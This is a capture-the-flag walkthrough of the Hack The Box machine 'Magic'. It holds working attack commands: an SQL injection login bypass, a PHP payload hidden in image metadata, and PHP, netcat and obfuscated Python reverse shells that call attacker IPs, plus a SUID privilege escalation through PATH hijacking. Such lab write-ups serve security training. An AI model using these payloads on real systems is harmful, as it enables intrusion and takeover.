Enumeration

export $ipaddress=10.10.10.185

ports=$(nmap -p- --min-rate=1000 -T4 $ipaddress | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports $ipaddress -o nmap
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-21 17:54 +0545
Nmap scan report for 10.10.10.185
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   238.67 ms 10.10.14.1
2   238.80 ms 10.10.10.185

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.40 seconds

Okay, fairly simple, only ssh and http are open.
Let's see what it has to offer on port 80.
Now, lets open up firefox and browse to, http://10.10.10.185/

Okay, seems like a portfolio.
Viewing the source, we see that it has a link to login.php. So, its made in php. Let's go to the login page now.

Trying admin/admin we get wrong username or password.
While we are messing with the website, let's run content discovery on it on the background.

ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.10.10.185/FUZZ -e .php

In the mean time, let's fire up Burp.
Seeing the login page, I have a feeling that this box might be about SQL injection.
Use FoxyProxy to pass the traffic to Burp.
And, try logging in with admin/admin once again.

Now, the request gets intercepted, save it to a file. I saved it as, request.txt in, /root/hackthebox/magic/ you can choose where you want to save it.
Now, let's forward the response.

Let's try running sqlmap on it.

sqlmap -r request.txt -p username,password

It found a redirect to, upload.php. Interesting.

Now, let's also take a look at the result of ffuf. We see, upload.php here as well. Let's have a look at that.

But before we move on, let's take a look at what sqlmap did. We will use proxychains to pass sqlmap's traffic via burp.
This is the configuration that I have in Proxychains

root@kali:~/Desktop# tail /etc/proxychains.conf 
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
#burpsuite
http            127.0.0.1 8080
https           127.0.0.1 8080

Now, let's run sqlmap again.

proxychains sqlmap -r request.txt -p username,password

Now, in burp, look at the "HTTP History" tab within "Proxy" tab. Sort it by the status in decreasing order.
You should see that you get a 302. Take the username and try url decoding it.

The username was: admin';WAITFOR DELAY '0:0:5'--
And the password was: admin

We got in via sql injection, it seems.
Try it on the Browser, now you should see that you get to the file upload page.

Nice, we have a place to upload images.

Before we try anything funky, let's try uploading a normal image.
I went to google and searched for a dog, downloaded the image and uploaded it.

Okay, it says our file has been uploaded.
Going back to the portfolio page, we can see that our dog's image has been
uploaded.
Opening up the image, we see that it has been uploaded to, /images/uploads/mydog.png.
Now,
Let's try uploading a simple php reverse shell.

locate php-reverse-shell #to see where the reverse shell is in our machine
cp /usr/share/laudanum/php/php-reverse-shell.php . #copying it to our working directory
vi php-reverse-shell.php

	#change the ip and port

Now, let's start a netcat listener.

nc -nvlp 8888

Okay, it says only JPG, JPEG, and PNG file formats are allowed.
Let's rename our file to add png as an extension.

mv php-reverse-shell.php php-rev.php.png

Now, let's restart our listener.

Okay, it says what are you trying to do there? So, that didn't work.

Now, let's try adding php code in a valid image's metadata and see if that works.

exiftool -Comment='<?php system("whoami"); ?>' mydog.jpg
mv mydog.jpg mydog.php.jpg

Uploading this, we don't get any errors.
Now, opening the image, we see that it returns www-data nice. We have Remote Code Execution! Now, let's try to get a netcat reverse shell.

exiftool -Comment='<?php $sock=fsockopen("10.10.14.168",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' mydog.php.jpg

Now, uploading the mydog.php.jpg file.
Starting a netcat reverse shell.

nc -nvlp 4242

Now, opening the image, we get a reverse shell! Nice.

User

$ pwd
/var/www/Magic/images/uploads

So, we are in the uploads directory.

$ cd ../../

$ ls -al
total 52
drwxr-xr-x 4 www-data www-data 4096 Mar 17 09:10 .
drwxr-xr-x 4 root     root     4096 Mar 13 06:07 ..
-rwx---r-x 1 www-data www-data  162 Oct 18  2019 .htaccess
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22 00:55 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22 02:02 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22 03:18 upload.php

Let's check the db.php5 file, it looks interesting, like a database connection file.

$ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');
    }

    public static function connect()
    {
        // One connection through whole application
        if ( null == self::$cont )
        {
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
            catch(PDOException $e)
            {
                die($e->getMessage());
            }
        }
        return self::$cont;
    }

    public static function disconnect()
    {
        self::$cont = null;
    }
}

Nice, now we have the credentials of another user.

User: theseus
Password: iamkingtheseus

Let's try to switch to that user.

$ su theseus
su: must be run from a terminal

Oh, this is because I forgot to spawn a shell. Let's do that.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Now, let's try to switch to theseus.

su - theseus

Hmm, it says authentication failure.

Let's try to login to the mysql server and check if we can find anything in the databases.

$ mysql -u theseus

Command 'mysql' not found, but can be installed with:

Wow, okay.
Let's try mysqldump.

www-data@ubuntu:/var/www/Magic/images/uploads$ mysqldump Magic -u theseus -p                                                                                                                                 
mysqldump Magic -u theseus -p                                                                                                                                                                                
Enter password: iamkingtheseus                                                                                                                                                                               

-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: Magic
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-04-21 11:10:09

Nice, now we have another password, Th3s3usW4sK1ng.

Now, let's try to switch user to theseus.

su - theseus
Password: Th3s3usW4sK1ng

And, we have a shell! Nice!

cat user.txt

Root

For privesc, I wanted to look at the SUID binaries so, I pull out the PayloadsAllTheThings/Linux - Privelege Escalation cheetsheet.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

Looking at the output, you should see saw:

-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

Sysinfo is a SUID binary, meaning that the users can run it with the permissions of the owner. Here, the owner is root. So, this could be our way to takeover the system.
It seems to run a few commands like,

lshw -short
fdisk -l
cat /proc/cpuinfo
free -h

Now, my first thought is, if we can exploit any of these commands, them we can gain root access as they all are called by sysinfo which runs as root. Also, it doesn't give the full path of the script that it is running. That seems interesting.
Looking at the first one, lshw:

theseus@ubuntu:~$ which lshw
/usr/bin/lshw
theseus@ubuntu:~$ ls -al /usr/bin/lshw
-rwxr-xr-x 1 root root 687056 Jul 10  2018 /usr/bin/lshw

Trying to run it, lshw -short we don't see anything interesting either.
But, what if there are multiple paths to lshw? Which one will be ran?
Let's try creating a file called lshw and add its location to path and see what it runs.

theseus@ubuntu:~$ echo '#!/bin/bash' > lshw
theseus@ubuntu:~$ echo 'whoami' >> lshw

Let's make this executable and see what happens.

theseus@ubuntu:~$ chmod +x lshw

Now, let's try adding it to the PATH.

theseus@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
theseus@ubuntu:~$ pwd
/home/theseus
theseus@ubuntu:~$ export PATH=/home/theseus:$PATH

Now, let's run sysinfo and see what happens.

theseus@ubuntu:~$ sysinfo                                                                   
====================Hardware Info====================                                         
root

Looking at the output, it runs our script.
Nice. Now, let's ask it to run a bash shell. And run sysinfo again.

theseus@ubuntu:~$ echo "bash" >> lshw
theseus@ubuntu:~$ sysinfo
====================Hardware Info====================
root@ubuntu:~# 

We do get a shell but trying to run anything, it doesn't show us output.
Weird.
Let's see if we can ping our machine from this.
Before that, we need to listen for incoming pings in our attacker machine.
To do that:

tcpdump ip proto \\icmp

Now, in the victim machine:

root@ubuntu:~# ping -c2 10.10.14.27 

We do see the ping request coming in.
Okay, now, let's ask it to send us a reverse shell. Before that, let's set up our listener.

nc -nvlp 4444

Now, in the victim machine:

nc 10.10.14.27 4444 -e /bin/bash

Shit, we get nc command not found.
But, we know that it has python3. Let's try that.

python3 -c "import os;import pty;import socket;RIeMfBEnTD='10.10.14.27';znzurECRy=4444;GXIJuhOViQcOZ=socket.socket(socket.AF_INET,socket.SOCK_STREAM);GXIJuhOViQcOZ.connect((RIeMfBEnTD,znzurECRy));os.dup2(GXIJuhOViQcOZ.fileno(),0);os.dup2(GXIJuhOViQcOZ.fileno(),1);os.dup2(GXIJuhOViQcOZ.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');GXIJuhOViQcOZ.close();"

Running that, we get a reverse shell.
Nice.